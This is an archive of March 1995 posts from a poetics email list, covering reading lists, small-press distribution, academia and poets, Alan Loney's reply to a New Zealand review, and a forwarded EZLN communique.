A slightly more English list of what's balanced (sometimes toppling) from an upturned and suprisingly robust cardboard box by the bed. I sometimes go to bed in the afternoon so this isn't always night-time reading or pre-sleep

induction. Also just becasue they're there doesn't mean they'll all get read soon. Some are started, some up for occasional visits and some hot. The piles change over about a six weekly cycle.

Iain Sinclair - Radon Daughters
Roger Griffin - The Nature of Fascism
Kathy Acker - My Mother: demonology, a novel
Jon Rose - Violin Music in the age of SHOPPING
Eric Mottram - Double Your Stake
Tom Leonard - Reports from the Present
Homi Bhabha - The Location of Culture
William Burroughs - The Letters of 1945 to 1959
Bernadette Mayer - Midwinter Day
Allen Fisher - Breadboard
Alan Bullock - Hitler and Stalin, parallel lives
Art & Design Magazine - 'Performance Art Into the 90s'
Macintosh Hypercard User's Guide

this list posting is obviously a trend disguising a stronger fascination with who's reading what. It seems to be an intriguing way of finding out what's just out and coming up? To echo Eric Pape's point about information - little comes this way. Almost only one bookshop stocks any recent U.S. editions and those by only a handful of 'names'. As a small publisher here I'm beginning to sort out swaps through this list. Seems like one useful way forwards. I increasingly value the inter-continental aspects of this list. Ancillary question would be, who aprt from SPD might be worth approaching for distribution Stateside of recent English Poets? Any ideas / interest?

best cris

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294. **I.LIGHTMAN**
Re: New Lally Reprint
Mon 20 Mar 1995

I utterly concur with Rae Armantrout that Carla Harryman's Memory Play is very good writing; a lot like Lorca, with reservations. It was a limited edition, though, or so Carla told me when she sent me a copy. I'd love to chat it over, if others have read it. Or with you, Rae, if you've time; for example "memory" of what? Of genre, I think, and thus very interesting as combatting expectations of readers of language writing, taking on the reader...

Ira

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295. Rae Armantrout
Re: New Lally Reprint
Mon 20 Mar 1995

Dear Gary,

Carla's book, Memory Play, is recent but not brand-new. Copyright 1994. It's a real play which has been performed several times. It's from Leslie Scalapino's O books in Berkeley. I'm surprised you haven't heard of it. Sometimes it seems books just fall into oblivion. As someone with a book just out, I'm concerned about that. Aren't we all?

Rae Armantrout

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296. Jim Pangborn
Re: poetry v the sharp mind
Mon 20 Mar 1995

Having hung around academe for many years without managing to buckle down to much "real" scholarship, I feel I have something to contribute to this thread.

(Any excuse not to work on the dissertation . . .)

Lisa Samuels well describes academic culture's supercilious attitude toward the artist-as-academic. Here at U-Buffalo things are supposed to be different: it was a great place to be a writer-professor 10 or 20 yrs ago. Nowadays, though, the tide turns toward a button-down hyperprofessionalism that increasingly regards poetry as perhaps an interesting object of analysis but not as a strong way of thinking in its own right. I don't see Creeley getting the respect he deserves, for example; it would be most interesting to hear from CB (no, not Clive Barnes) and Susan Howe on this topic.

Chris Stroffolino is right, too, to say that Foucauldianism (tho 'haps not Foucault himself, precisely) contributes as much as anything else does to the hostile atmosphere around here. Its undeniably powerful critique seems to delude some followers into regarding themselves as above reproach--as revolutionarily pure (oddly, since the theory would tend to indicate otherwise). I call 'em the "without sin" crowd (and then I duck and cover because they throw hard.)

But, though there are too many of those people about, they are not the main causes of the problem under discussion. I trace it to, not a misunderstanding, but a misapplication of scientific method. Science gets a great part of its explanatory power from its insistence upon tackling nature one well-formed question at a time. Poetry doesn't and shouldn't work this way. Art in general

(yes, there is such a thing) deals with knots of inseparable questions. Tease these all the way apart and you get much less than you start with. Academic disciplines could cope with this, but in the main they do not. That is why academic disciplines understand a lot about nature in terms of necessity, in terms of power--but they do not understand human freedom at all well.

(One small tragedy in this mess is that gradstudents' worries about conforming to theoretical fashion for the sake of marketability are probably misconceived. Here, for instance, faculty often laments the fact that we don't have enough young faculty in the supposedly hot new areas, and so gradstudes are deprived of accreditation in the more marketable perspectives. Trouble is, what's hot changes too fast for us to effectively anticipate it. "Ohmygod we have nobody in Queer Theory!" Well, guess how many noteworthy publications there have been "in" Queer Theory in the past few years: like Stein's Oakland, there's not much of a there there either.)

An adage from the sixties: the only way out is through. Let me suggest some texts that might be useful as ways to fight back--to critique the academic folkways that oppress us:

Charles Bernstein, "What's Art Got to Do With It . . ." , etc.

John Dewey, _Art as Experience_

Larry Hickman, _John Dewey's Pragmatic Technology_

Ronald deSouza, _The Rationality of Emotion_

Mark Johnson, _The Body in the Mind_ (for the basic idea, not the interminable Kant-quibbling)

Peter Sloterdijk, _Critique of Cynical Reason_

Bruno Latour, _We Have Never Been Modern_

Jacques Derrida, _Specters of Marx_

. . . many of whom, of copurse, contradict one another completerly . . .

(Sorry these are all boys. I wish I had a good explanation for that. I'd add Donna Haraway to this list except I have some fundamental objections I'm still trying to work through. I doubt it's accidental that my favorite women writers are all poets!)

--Jim the Scrivener

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297. **Edward Foster**
Re: Groovy Books
Mon 20 Mar 1995

so good to read gary's groovey. am so tired of all the humble mumble that should stay in university classrooms. thanks, gary.

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298. **OZZIE J. PEREX**
Re: bedside reading
Mon 20 Mar 1995

the question is :

are there any bookstore's informally (if not officially) "on line" (whether here on this list or in general?)

a friend at Powell's in Portland Ore. told me that they spent a million dollars on the software to go "online" in order to do mail-order book sales.

perhaps we should tell Steve Dickison at SPD to pick up the phone as it were (perhaps he is here listening, even)

a million dollars.

then he said they spent 20,000 at one little bay area warehouse called serendipity and that they were buying up whole bookstores in north amercia only recently rejecting an offer to move into Prague...

so what, we little xroxers are supposed to submit that that ordering structure to make it "easier"

suddenly I wonder if that's the point

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299. **Kenneth Goldsmith**
"The Tunnnel" by Wm. Gass
Mon 20 Mar 1995

George inquired about the availability of "The Tunnel". The beast has arrived from Knopf, weighing in at 652 pages. It's full of visuals, both typographical and color maps and "doodles." It lists @ 30 bucks and got a front page NY Times Book Review article a few weeks ago. I cracked it for the first time this weekend and it looks good--although it's weird to think that the opening pages were written thirty years ago...

If anyone else has checked this monster out, I'd be interested in yr inital reaction.

Peace,

Kenny G

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300. **Tony Green**
Re: poetry v the sharp mind
Mon 20 Mar 1995

Dear Jim,

RIFFLING THRU SLOTERDIJK BACKWARDS
"Sapere aude!remains the motto
of an enlightenment that, even in the twilight
of the most recent dangers, resists
intimidation by catastrophe. Only out of its courage
can a future still unfold that would be more than the expanded

reproduction of the worst of the past. Such courage
nourishes itself from the now faint currents of
recollection of a spontaneous ability of life to be-in-order,
an order not constructed by anybody....." Sloterdijk,
Critique,p.546

"Art is the real Gay Science: It stands, as the last guarantor of a sovereign
and realistic consciousness, between religion and science." Ibid. p.179

"Politics is not only the art of the
possible, as has been siad, but
just as muich the art of seduction. It is the chocolate side of
power that assumes first, that order must
prevail and, second, that
the world wants to be deceived." Ibid. p.147

Questions: Do "education" and "culture" go their present way because the principle is in force, that only learning that leads to immediate cash benefits is to be emcouraged? Is that why "poetry" (or any of the arts asking for funding by The State) are likely to get trashed at all levels?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand

Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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301. **maria damon**
Re: poetry v the sharp mind
Mon 20 Mar 1995

In message <[redacted]> UB Poetics discussion group
writes:
> I trace it to, not a
> misunderstanding,
> but a misapplication of scientific method. Science gets a great part of its
> explanatory power from its insistence upon tackling nature one well-formed
> question at a time. Poetry doesn't and shouldn't work this way.

An interesting discussion all around, which i'll save and print out for some of my first-year grad students in culture shock. when u mentioned science i was reminded that, in the strong and large research institutions, which tend to be the prestigious schools where educational paradigms are hegemonically formed, the humanities are always subordinated to the sciences, which are the moneymakers. thus humanists feel under constant pressure to prove that we, too, do "research" etc -- a constant legitimation crisis. among the humanities, the creative and expressive arts are embarrassing evidence of multiple modes of inquiry and apprehension that threaten the hegemonic mode of the production of knowledge --so they have to be repudiated, or, at best, tolerated with a kind of arm's-length condescension by their more analytic discourse-cousins. this is, of course, a simplistic overview. i don't think foucauldianism has anything to do with this --if it weren't foucault's name that were being invoked in the name of some discursive orthodoxy, it wd be someone else's. i myself actually had a rather pleasant graduate experience, in a program that was initially set up to bridge that constructed gap --but then, i keep my "poetic" enterprises pretty private.--maria d

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302. **Charles Bernstein**
Letter from Alan Loney (preface)
Mon 20 Mar 1995

I invariably, or at least variably, call O Books (Leslie Scalapino's press) O Press (Michael Lally's lively press of the 70s). I think O! Press, but Leslie notes "oppress".

In an separate post, to follow immediately, I am sending a longish letter to the editor by Alan Loney, a terrific poet from New Zealand. I thought the letter might be of interest "here" even in the absence of the review to which it responds. Alan Loney has been a subscriber to the Poetics List, but has recently signed off. He is the author of two recommended books:

Missing Parts: Poems 1977-1990 (Christchurch, NZ: Hazard Press, 1992)

and

The Erasure Tapes (Auckland University Press, 1994), which Loney describes in the Preface as "an autobiography in which I refuse to tell the story of my life."

I am not sure how people outside New Zealand can get these books, or the (also highly recommended!) book by Michelle Leggott, _DIA_ (egad! another poet-scholar, the self-same author of the awesome study of Zukofsky's 80 Flowers from Johns Hopkins a few years back (_Reading 80 Flowers_). But I think that Wystan Curnow and Tony Green, who should be reading this message "now", might be able to help out?

Charles Bernstein

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303. Alan Loney c/o
Letter to the Editor (longish): The Panic of Jane Stafford
Mon 20 Mar 1995

Alan Loney

The Panic of Jane Stafford

Re: "The panic of O", Jane Stafford, New Zealand Books, Vol 4 No 3, September 1994.

For the past 25 to 30 years some of "us", i.e. writers who have generally been considered to be working somewhere on the margins of New Zealand literature, have been on the receiving end of a number of, shall I say, negative adjectives attached to our work and the work of others that we respect, by "mainstream" authors and critics in book reviews. It is an impressive list, and maybe it would be best to start by exhibiting it, in all its glory, just so that we know clearly what is being discussed. Here are some of the more frequently applied: solipsistic, elitist, pretentious, obscure, empty, cognoscenti, private reference, no discernible thought, resistance to interpretation, provocative, smart-arse, clever, wilful, self-indulgent, contempt for the reader, ivory tower, writing for a coterie, intellectual, pseudo-intellectual, so-called postmodern, so-called "Language Poets", excluding the average reader, void of meaning, inaccessible, etc etc etc. Jane Stafford's review of Murray Edmond's The

Switch and Michele Leggott's Dia , both recently published by Auckland University Press, contains the first fifteen of these. They are now, after all these years, nothing more nor less than a set of cliched insults, and their purpose is invariably to provide excuses for refusing to actually engage with the work being so characterised.

Jane Stafford's review of the Edmond and Leggott texts is argued, detailed, and attempts to get beyond the mere name-calling exercise that I have nevertheless stated that it includes. It is therefore to be welcomed as providing a genuine opportunity for reply in ways that the mere name-calling procedure does not. But these negative terms are so repeated and familiar in New Zealand poetry reviewing that it seems less a matter of deja vu, than of a kind of ventriloquism - where the dummy keeps on producing its lines long after the operator has vacated the premises.

Credentials and allegiances

Ms Stafford is at pains to establish a kind of credibility for herself, one that is based on credentials - "I teach a second year university course etc". Ordinarily, such candour is to be welcomed. But one can easily compile other paragraphs, one of which might begin : "Murray Edmond is a lecturer in Drama at the University of Auckland, is convenor of the post-graduate Diploma in Drama programme, and lectures in a stage 3 American poetry course. He is the author of 6 books of poetry (several of them out of print) and so on". Another such paragraph might start with :"Michele Leggott is a lecturer at the University of Auckland in New Zealand poetry, in American poetry, in Australasian Women's Literature, with a PhD from University of British Columbia at Vancouver. She has published 3 books of poetry (the first is out of print), and her major study "Reading Zukosfky's 80 Flowers " was published by Johns Hopkins University Press on the recommendation of Hugh Kenner etc etc". It's not my purpose to pit credentials against each other here (that would at the least be silly), but to make the more important point that we all have credentials of one sort or another. In a field like "literature" such credentials do not automatically confer guarantees of appropriate information, approach, or judgement. We are all contestable when discussions about values are taking place.

Whatever else one thinks of the work of Michele Leggott, Murray Edmond, and, let's be clear, Alan Loney and any others with whom we are perceived to have some sort of allegiance, what one cannot say is that they all write in the same way or that the works of each are easily able to be confused with each other's - by any attentive reading. And yet the 'critical' reception of them by most 'mainstream' authors and reviewers is so familiarly uniform that, instead of getting genuine differential readings of these authors in reviews, we're getting

the homogeneous operation of an agenda, a false ideology which specifies these authors as a 'them' which can therefore, according to the normal functioning of 'us and them' patterns, be blithely treated by the same unexamined, unsupported and negative terms and gestures.

What that agenda is I don't much care. What I do care about is the pretence that genuine critical reading is taking place; the pretence that those critics have some sort of 'ownership' of the scope, purpose and condition of poetry in New Zealand; and the presumptive judgment that their reviled authors are not serious about their life's work as poets or writers; that they lack integrity and competence of almost any kind whatever; that they have no respect for the work and works of others who work outside their own writerly project (my respect for John Keats and for Mary Ursula Bethell for instance would not even be conceded as possible); and that they have no other apparent motive for writing but to demonstrate to a small group of people who are equally despicable that they are cleverer than anybody else. These assumptions, running throughout Ms Stafford's review, and through hundreds of reviews of poetry in this country in the last 25 to 30 years, are as cheap and unwarranted as anything she or anyone else directs at such writers as Murray Edmond and Michele Leggott.

A personal disposition or two

Ms Stafford's review begins in a mode of reasonableness and with a proper pedagogical concern for students of literature who are having to learn to engage with unfamiliar texts. It reads like the kind of introduction that might prepare one for the reviewer's own engagement with the work of the authors under discussion. Alas, it does not. What it leads to, almost inexplicably ('almost' as, one tends to expect this sort of response by now), is this: "Which is why I feel angry...". Anger? Why? What business has a professional academic to be 'angry' about texts to be discussed? Are they advocating the pleasures of child abuse? Are they suggesting people would feel better if they beat the hell out of someone rather than having all that pent up feeling floating around? Do they propose ethnic cleansing in their suburb? Wherefore anger? Ms Stafford establishes credentials, I would have thought, for being able to discuss these works. What she actually says is: "I'm trying to make a connection with it. I can't." So. The reviewer's credentials, i.e. her education, her qualifications, her personal predilections, her teachers, her colleagues, her peers, and her reading, have not at all prepared her for the works under review. One could very well be angry about that. Instead of acknowledging her situation however she has chosen to pour scorn on the poets, as if somehow they are to blame for it.

To take this point a bit further, there are other, telling, phrases that support my concern. Ms Stafford sees "a more sinister possibility"; "no discernible thought here"; "so old- fashioned"; "smart-arse elitism"; "got a nasty feeling"; "I'm damned if I'm going to"; "I have this nasty feeling"; "I find these two collections depressing" and so on. Why, exactly, is all this nastiness and bad feeling supposed to function as a proper basis for, or condition of, the elucidation of contemporary poetry for what Ms Stafford deigns to call "the less enlightened reader"? We are not told. It is assumed that the reviewer has these bad feelings in good faith. Ms Stafford has given no one any reason to buy such a proposition.

The ventriloquist's dummy

Does this sub-title merely trade one harshness for another? Perhaps. But it points to a view of things, an agenda, a false and unquestioning ideology. This ideology asserts itself by using a body of cliches, shibboleths even, in order to obscure the meanings of others, and to deny their actual differences. Before I elaborate on this specifically, I want to expose a few carelessnesses and contradictions in Ms Stafford's text.

Keats's poem is "Ode to a Nightingale", not "Ode to the Nightingale"; Sterne's book is "Tristram Shandy", not "Tristan Shandy"; and "Morgenstern" refers directly to the work of Christian Morgenstern, and his wordless piece "Fisches Nachtgesang" (1905) (and no, I did not have to ask the poet for the reference). It is, additionally, usual for assistance from others - "A kind and more literate friend" - to be identified in academic writings. And rather than ask how much less literate is implied by that "more", I would rather know who is doing the talking here? Or, to put it another way, who's the ventriloquist in this instance?

A not uncommon kind of contradiction that appears in negative reviews is exhibited in Ms Stafford's aside (to whom, exactly?) "a little Saussurian reference for the cognoscenti?". It's hard to take seriously the notion that such a statement is directed to "the less enlightened reader". If it is, how do they, outside of, say, an academic environment, understand "Saussurian"? This aside is also, I'm afraid, directed at a "cognoscenti", and a clear distinction is therefore implied, like it or not, between the author's 'cognoscenti' and the poet's 'cognoscenti' - ours and theirs, us and them. But if she is, say, talking to me (and, after all, I too am a 'reader'), then I would say that she is not at all up with the play, either with Saussure (who dealt with spoken, not written language), or with Heidegger (who said "It is in language that things first come into being and are" (Introduction to Metaphysics), or with Charles Olson's reliance on the work of Jane Ellen Harrison for his assertion that myth (the stories that cultures, oral and literate, tell themselves about themselves) comes

first from the mouth. I introduce these other writers here, not to show off my naturally immense erudition, but to signal that we all have such reading lists behind and operative within what we say. For all of us they are different of course, but we all have these alliances, allegiances and engagements to one degree or another. They are not the same kind of thing as 'credentials'. If our 'reading lists' are too different, and I am suggesting that this is likely to be the case as between Ms Stafford and the poets she reviews, then little wonder that the reviewer finds it hard to connect with the work.

However, it is the outright refusals that I find the most interesting aspect of Ms Stafford's review. First, the refusal to be (indeed the specific injunction not to be) literal - "Don't be literal". If the literal is the first thing to be denied of unfamiliar writing, then it's understandable that a reader might find a grasp of its metaphorical content hard to come by. If, as Ms Stafford maintains, "a metaphor should expand meaning" (tho I don't accept this formulation myself) then it's possible that the literal is one of the places from which metaphor can "expand". It is, in any case, a perfectly reasonable place to begin. That it should be precluded, requires more explanation than a list of other options, especially when, for instance, my own teaching experience suggests that it is wise counsel to keep the options open until they falter - in any given instance.

A further type of refusal is performed in the review when, in discussing Leggott, the reviewer writes that a particular passage "would be fine if I knew what the last two words meant". Those two words are "HYDROPHILE PURLING". It is not I think too churlish to propose the use of a dictionary in such a circumstance. 'Hydrophile' is derived from 'hydrophilic', a chemical term meaning 'having a strong affinity for water'. 'Purling' has, as one of its meanings (and the others are pertinent to the poem) 'flowing with a curling or rippling motion, as a shallow stream over stones'. According to Ms Stafford, she should now be in a position to regard the poet's line as "fine". But by refusing to even admit meanings that are accessible to her, she has paved the way for yet another insult to be attached to the work, yet another opportunity for the ventriloquist's dummy to steal the show.

Another line of refusal is the refusal to give the poet the benefit of the reviewer's own insight as exhibited in the review itself. It is this extraordinary strategy that clinches my claims about ventriloquism. Two examples will do. In considering Edmond's poems 43 and 44, Ms Stafford interrogates (properly) the text for meaning. Among her initial notes are language play, sexual content, parallels with other texts in the book, the presence in English of a large number of homographs - all good places to start in establishing a field of meanings for the poems. But just when this beginning is noted she cuts off the flow of elucidatory reading by saying "And it gets worse". Worse? How does a series of valid insights (tho preliminary ones, to be sure) add up automatically

to a bad thing? In considering Leggott, the reviewer states that Elizabeth Barrett Browning is "an obvious figure" in the poem Dia, yet notes that the reference to "the Portuguese/wind" etc "may be an allusion", and asks us to note her (Stafford's) "tentativeness" in making the suggestion. Well, what I've already noted is the strength of the phrase "an obvious figure".

The most blatant refusal however is the reviewer's refusal to even consider the poem "Micromelismata". 'Concrete' poetry is historically a particular moment, largely in Europe, but extending to Britain and the United States also, within a wider context of shaped poetry, going back to the work of George Herbert (died 1633) in England. Herbert himself knew of at least one predecessor for his work, an edition of The Greek Anthology, Theocriti Idyllia, printed by P. Brubacchius, Frankfurt, 1545. To insist that it is legitimate to reduce this tradition to a mere fashion of c.1972, to which no critic need return in order to speak of newer writing is, I am sorry to say, no more than an excuse for one's own ignorance, and an attempt to blame the poet for the critic's failure of nerve in the face of the material reality of the text. One is of course under no obligation to like or admire any given text, but one does, in public, have to deal with it in an open engagement.

What I am bothered about in these refusals is that just at that point when a genuine critical reading looks about to be achieved, Ms Stafford throws in the towel. Again, an opportunity to assist the "unenlightened reader" to deal with a strange looking text is waved away in favour of the agenda that requires that these poets must be belittled and insulted rather than read critically. And of course the problem with reading attentively, generously and critically is that there is the severe danger of having to change one's opinion as the result of reaching genuine findings.

The news about elitism

As a lecturer in English at a university, Ms Stafford is a member of a small band of elite, specialist readers of literature. As an academic, she can claim uncommon status as an expert, and as a professional worker in the field of literary criticism. The number of people who get paid a salary in New Zealand for teaching literature at tertiary level is, in relation to the population at large, very small. Now, books of poems in New Zealand are typically published in editions of between 500 and 1000 copies, and are very rarely (except in the case of anthologies used for teaching purposes) ever reprinted. There are some exceptions above and below these figures, but 500 to 1000 copies is the typical range. There are, at least, 1.5 million literate adults in New Zealand. A thousand copies (let's be kind to the argument) as a percentage of 1.5million, is 0.066% of the literate adult population. Anyone who thinks this constitutes the democratization of poetry in relation to the literate population at large has,

in my view, a lot of explaining to do. If that percentage was closer to 66% for so-called "mainstream" poets and 0.066% for the likes of Edmond and Leggott, I'd have to admit there was a point to be made along these lines. But, it isn't, and there isn't. What it means is that poetry is an elitist proposition per se, at any level at which anyone reads any of it. It also means that 'the general reader' or 'the general public' is not the target group for any publisher of poetry in New Zealand. Those of us who are involved with poetry in any way are all splashing about in the elitist pot together.

The subjectivity at the end of the world

The last comment made by Ms Stafford denies that 'subjectivity' is an interesting issue. What I have attempted to show here is that it is primarily the poets' 'subjectivity' that has been on trial throughout her review. The list of insults given in my first paragraph says it as well as anything I can end with. They are nearly all solely applicable to people, rather than to texts. If poetry needs anything at all from critics these days, it is close reading, clear and attentive critical analysis. One of the characteristics of, as they say, 'our time', is that there are many more and various backgrounds - cultural, geographic, intellectual, and personal and so on - than can be neatly fitted or reduced to some monolithic sense of "mainstream", to which we are all supposed to conform. This does not mean, in my view, that anything goes. What it does mean is that a greater degree of care, of openness, and of courtesy needs to be operating in the field of public letters, if we are not to simply sit back on 'us & them' perches and merely hurl insults at one another under the privilege of having access to print.

-- Alan Loney

↑ Index

304. Robert A Harrison

Fwd> EZLN Communique Mar.12 (English)

Mon 20 Mar 1995

I thought some might be interested in seeing the following EZLN communique. If you want to see more on a regular basis (10-50 messages a day) send the following command to [redacted]

subscribe <your email address> chiapas

The guy who runs the list is Harry Cleaver.

bob harrison

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This posting has been forwarded to you as a service of the Austin Comite de Solidaridad con Chiapas y Mexico.

---------- Forwarded message ----------
Date: Mon, 20 Mar 1995 13:19:18 -0500 (EST)
From: [redacted]
To: [redacted]
Subject: Communique from the CCRI - English

Dear friends -

Normally I would try for a more graceful and natural English, but this time I was trying to keep the structure and rhythm of the original, as far as possible, as it reflects, in Spanish, the way Mayan people would express their thoughts in their own languages. If I knew any of the Mayan tongues I could have done a better job, but since I haven't seen any Maya linguists volunteering, I went ahead.

!Que vivan el corazon y la voz de nuestros hermanos indigenas!

- Que viva un man~ana de paz entre el EZLN y todos los hermanos.

Desde las montan~as del Sureste de Estados Unidos -- Bonnie.
****

Zapatista National Liberation Army Mexico, March 12 1995

To the people of Mexico:

To the peoples of the world:

Brothers:

With old pain and new death, our heart speaks to you so that your hearts listen. Our pain was in being, hurting it was. Becoming silent, our voice was passing away. Our voice had been of peace, but not of yesterday, not of old peace that was death. Of peace was our voice, of tomorrow's peace. The fire had stayed behind, kept in the days gone by, the fire that spoke for our race when all were deaf to death. Another way our tears asked for, still lost in the arroyos of the mountains. So spoke our dead. The oldest ones then counseled us to look where the sun walks, to ask other brothers of the race, of blood and hope, where our hurt pain should walk, our tired step. This we did, brothers. The silence arrived to put out the fire and there was no arrogance in the word of the true men and women for those who, in other lands and other races, shared the pain and wishes for a tomorrow.

We opened our heart, brothers. We learned to see and to listen to other, different brothers. We listened to their word and saw in their heart. And we saw in their step the same longing that put the fire in our hands, that broke up our

face until it was nothing but a gaze, that hid our name and erased our past: the struggle to command, obeying; to leave free, the free word and heart; to give and receive what is deserved. The struggle for democracy, freedom and justice. No more, never less.

The word of these brothers, your word, asked us to try another path, to leave pending and waiting the fire that armed the breast. To talk, and that through the words, would come the destination. It was they, you, the others. Like us, the always forgotten. The always humiliated, like us. The brothers. This we did. Our voice spoke with the powerful lord. Obeying, we sent our word to the great house of money. We spoke and we listened. We were following that path when the treason, again, put arms above words. Our voice was silenced all at once by the noise of the cars of war. Terror was unleashed again in the Mexican lands. He who from arrogance and power looks at us with contempt, denied our name and gave death as a response to our thought.

It wasn't enough for him to deny us a face and life, he wanted to humble our step of dignity, trample our just demands, take truth from our song, sink our flag in oblivion. With the complicity of the big monies and the foreign vocation, he wanted to impose humiliating conditions on us, just to speak. Turning backward the wheel of history, he wanted to force us, by the power of his bayonets, to deny our history. Our women suffered the harassment and the humiliation of the machines of war. Our children grew with bitterness and impotence between their hands. Some, the ones who didn't die. In the men hate sharpened the breast. The greatest grandparents looked again to the earth and asked counsel of the first dead. They spoke. The dead of forever. We. They said this: "Our hand did not rise armed to listen, kneeling, to insults and humiliations. Our step did not rise so that he who is double in his face and in his word could humiliate us, filling hope with lies.

"For justice our hand was armed and our step raised. And justice is only a false promise that the powerful dresses himself with.

"For freedom our hand was armed and our step raised. And freedom is sold for a fistful of coins to the foreign skin.

"For democracy our hand was armed and our step raised. And democracy is still absent by the work of he who cynicism, crime and lies carried into government.

"Everything, brothers, but dignity trampled again.

"Everything, brothers, but lies again on our table.

"Everything, brothers, but to forget once again tomorrow.

Thus they spoke. This our dead said. The war came. Then again we saw the brother come in other clothing. He came to kill. To die. Our hand did not want to again confront he who was sent to kill and to die among the same. For that reason, our past ones went to the mountains; to the caves of those before, we went. Death cornered us and pursued lives that always passed away obscurely, shades of death and of the shadow of a forgetful country. Death came to wield again its knife-edge of oblivion. To kill memory it came. Now our hand filled again with fire to avenge the pain of our own, animals again eating earth, dying persecuted and forgotten.

Now the drums called to war again. Now the bat men and women prepared again their flight of mortal death. Now the night of pain came again to cover the vengeance of the true men and women.

But there came, from where the sun walks, another voice that was not of death. It came great, with the wind it came. Our hurting heart waited and heard what that voice spoke. That the war not go on, it said. That death wait. That the heart of the true men and women not be, yet, a mirror of pain. This we did. The bitterness was put away in the caves and our pain waited for that voice to shout. The voice spoke strongly. How could we not hear it! Many steps was that voice. Great, the song of its drums. Only the arrogant closed his heart. Without fire, with a name and face, that voice raised again the banner of human dignity. For that voice, we were not animals. Men and women again, we were. From other lands came walking that voice. From far away. From the heart of other lands, from other mountains, from other hopes, sisters to ours. It became strong and great. It is a voice. Relief came to our pain, and the waiting harvested hope. A seed, was that voice, in the collective heart that walks in our step.

Brothers: A name, that voice gives us. No more are we the unmentionables.

A name have we, the forgotten. Now our flag can cover, not hiding itself, our dead and our history. We have now a place in the heart of our brothers, - you - and a small corner in the history that really counts: that of the struggle. Having now a collective name, we discovered that death shrinks, and ends up small on us. The worst death, that of oblivion, flees so that the memory of our dead will never be buried together with their bones. We have now a collective name and our pain has shelter. Now we are larger than death.

We have also the hope that just as we received a name, these brothers, - you - will give us tomorrow a face; finish by putting out the fire that lives in our hands; and, instead of the past, give us a future.

They smile, these lives of tomorrow and dead of forever. They dream, the bones of the men of wood in the mountains. They dance, the men and women of corn.

Joyful is our heart, although the body hurts. A light lights up these shadows that always dance with death, the true men and women, those of forever.

We are named.

Now we will not die.

Come, brothers, we cannot go. Great is the the strength of you all if you make yourselves one. Come, there will be no fire to receive your step, nor will our heart be closed to your word. Come.

A name we have. Now we will not die. Let us dance.

Now we shall not die. Named are we.

Health, brothers! Death to Death! Long live the EZLN!

Democracy!

Freedom!

Justice!

> *From the mountains of the Mexican Southeast.*

Clandestine Indigenous Revolutionary Committee - General Command of the EZLN.

---------- RFC822 Header Follows ----------
15:56:02 -0500
with SMTP id AA15428
  (InterLock SMTP Gateway 3.0 for <[redacted]>);
  Mon, 20 Mar 1995 15:56:44 -0600
      id AA20424; Mon, 20 Mar 95 15:56:37 CST
Date: Mon, 20 Mar 95 15:56:37 CST
From: [redacted] (Harry M. Cleaver)
To: "Robert A Harrison" <[redacted]>
Subject: EZLN Communique Mar.12 (English)

---------- Nested Letter Follows ---------- This posting has been forwarded to you as a service of the Austin Comite de Solidaridad con Chiapas y Mexico.

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Date: Mon, 20 Mar 95 15:56:37 CST
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To: "Robert A Harrison" <[redacted]>
Subject: EZLN Communique Mar.12 (English)

↑ Index

305. Spencer Selby
Re: Reading Selby
Mon 20 Mar 1995

Dear Ron,

Yr question here has held me up for the past several days. If I am averse to framing or self-interpreting my work, I am even more averse to going into detail about my process. To put it bluntly, I don't believe that this would be helpful to people as reader/viewers of my work.

I will try to elaborate a little on that if you or others want me to.

Spencer

On Fri, 17 Mar 1995, Ron Silliman wrote:

> *So, Spencer, what is the PROCESS by which you construct one of these pages? What tools do you use? Physically, I mean. Describe the temporal sequence perhaps.*
>
> *This has been a great discussion and I hope it's not over.*

> *Ron*

↑ Index

306. Loss Glazier
"Radiant Textuality" (Announcement)
Mon 20 Mar 1995

FYI ...

********** Announcement **********

West Virginia University
Summer Seminar in Literary and Cultural Studies

presents

RADIANT TEXTUALITY:
HUMANE STUDIES IN VIRTUAL SPACES

Seminar Leader:

Jerome J. McGann
Commonwealth Professor of English
University of Virginia

June 8-11, 1995
West Virginia University
Morgantown, WV

For seminar rates and more information, contact:

Dr. David C. Stewart
Department of English
West Virginia University
PO Box 6296
Morgantown, WV 26505-6296
[redacted]

↑ Index

307. Gary Sullivan
11 distributors for Cris Cheek & others
Mon 20 Mar 1995

Dear Cris: Yes, I know of at least 11 other small press & "small press friendly" distributors in the States besides SPD. Some of these places only

distribute magazines, but most, I think, do distribute small press books, even chapbooks:

Anton Mikofsky (magazines, I think)
57 West 84th Street, #1C
New York, NY 10024

Bernhard DeBoer, Inc. (again, mostly magazines)
113 East Centre
Nutley, NJ 07110

Bookpeople
(I don't have address info. Anyone? They're in the Bay Area,
I think)

Faxon (mags, maybe chaps, too)
15 Southwest Park
Westwood, MA 02090

Fine Print (books, mags, chaps)
6448 Highway 290 E
Austin, TX 78723

Flatland (books, chapbooks, audiotapes, esp. anything even
vaguely "political")
P.O. Box 2420

Fort Bragg, CA 95437-2420
[redacted]

Inland Book Company (some small press books, not sure about
chaps)
P.O. Box 120261
East Haven, CT 06512

Last Gasp (specializes in small press & chaps, somewhere in the Bay Area, maybe Oakland? Anyone with info?)

The Segue Foundation (you know about this one)
300 Bowery
New York, NY 10012

Ubiquity Distributors, Inc. (mags, maybe books?)
607 DeGraw Street
Brooklyn, NY 11217

Word Products (mags, maybe chaps)
P.O. Box 8766
Portland, OR 97207-8766

I haven't dealt with most of these places, so can't tell you much more about them than the above. Maybe some of the other publishers on this list might give you the low-down ...

Yours,

Gary

↑ Index

308. George Bowering
Re: Groovy Books
Mon 20 Mar 1995

Here is my nomination for utter you got to kiss the middle of your own back groovesville:

Well, it is called _2 Poems by H.D._

beautiful colourful sewn little tyhing by the amazing and historical Wesley Tanner in an edition of 226 (200 + 26) in 1970. (1971). Remember the imprimateur ARIF? yes. Not a pirate trove as some H.D. things were at the time. Even the peper of this item feels like thick ice cream made with real cream on the tongue. Andrew Hoyem handset the beaut. Oh, Lord, and the poems are Blakean, as they say, from the 20s. Phew.

↑ Index

309. Mn Center For Book Arts
Re: Groovy Books
Mon 20 Mar 1995

On Mon, 20 Mar 1995, Edward Foster wrote:

> so good to read gary's groovey. am so tired of all the humble mumble that should
> stay in university classrooms. thanks, gary.
>

